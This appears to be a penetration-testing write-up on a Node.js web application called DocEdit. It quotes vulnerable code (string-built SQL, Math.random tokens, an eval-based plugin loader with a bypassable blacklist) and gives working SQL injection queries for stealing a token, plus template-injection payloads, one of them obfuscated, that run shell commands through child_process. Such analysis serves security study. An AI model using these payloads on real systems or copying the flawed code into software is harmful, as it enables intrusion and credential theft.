DocEdit

R3zk0n · October 2, 2025

Contents

    Pre-admin

    SQL Injection

    // controllers/userController.js
    const user = await models.sequelize.query("SELECT * FROM `Users` WHERE email LIKE '" + email + "%'", { type: QueryTypes.SELECT });
    
    // admin@admin.com
    // Admin email: select * from `Users` where email LIKE 'a_%' AND admin = 1 -- %'
    // Find UserID: select * from `Users` where email LIKE 'admin@admin.com' AND id = 1 -- %';
    // Retrieve Admin Token: select * from `Users` where email LIKE '' OR substring((select token from AuthTokens where userId=1),1,1)='3' -- %'
    

    Insecure Random Token Generation

      AuthToken.generate = async function(UserId) {
        if (!UserId) {
          throw new Error('AuthToken requires a user ID')
        }
    
        let token = '';
    
        const possibleCharacters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' +
          'abcdefghijklmnopqrstuvwxyz0123456789';
    
        for (var i = 0; i < 32; i++) {
          token += possibleCharacters.charAt(
            Math.floor(Math.random() * possibleCharacters.length)
          );
        }
    
        return AuthToken.create({ token, UserId })
      }
    
      return AuthToken;
    };
    

    Post-admin

    Potential Eval RCE

    // SafeRun potential RCE
    const safeRun = async (callback, location ) => {
    	const blacklist = ["require", "child_process"];
    
    	if (blacklist.some(v => location.includes(v))) {
    		throw new Error("That keyword is not allowed")
    	} else {
    		code = "delete require.cache[require.resolve('" + location + "')];"
    		code += "require('" + location + "');"
    		callback(eval(code))
    	}
    }
    // togglePlugin
    const togglePlugin = async (name,enable) =>  {
    	location = path + name
    	enable = (enable == 'true' || enable == true);
    	var requiredObj = async function(obj){
    		Plugin = obj;
    		plugin = new Plugin();
    		await models.Plugins.upsert({
    			title: plugin.title,
    			description: plugin.description,
    			type: plugin.type,
    			location: location,
    			enabled: enable,
    			fileName: name
    		}).then(function(data) {
    			return data
    		}).catch(function(err) {
    			throw err;
    		})
    	}
    	safeRun(requiredObj, location)
    }
    // Calls togglePlugin which uses SafeRun
    router.get('/plugin/:name/:enable', authorize(), async function(req, res, next) {
    
      await pluginController.togglePlugin(req.params.name, req.params.enable)
      .then(() => {
        res.redirect('/server')
      })
      .catch((err) => {
        next(err)
      })
    });
    

    SaveHome

    	socket.on('updateSettings', async function(data) {
    		await authorize(socket)
    		.then(async () => {
    			await pageController.saveHome(data.homePage)
    			.then(() => {
    			  socket.emit('message', {type: "success", message: "Your settings were updated"});
    			}).catch((err) => {
    			  socket.emit('message', {type: "error", message: err.message});
    			});
    		})
    		.catch((error) => {
    			socket.emit('message', {type: "error", message: error.message});
    		  })
    	});
    

    Server-side Template Injection

    #{7*7}
    #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
    #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73").exec('touch /tmp/pwned.txt')}()}
    

    Twitter, Facebook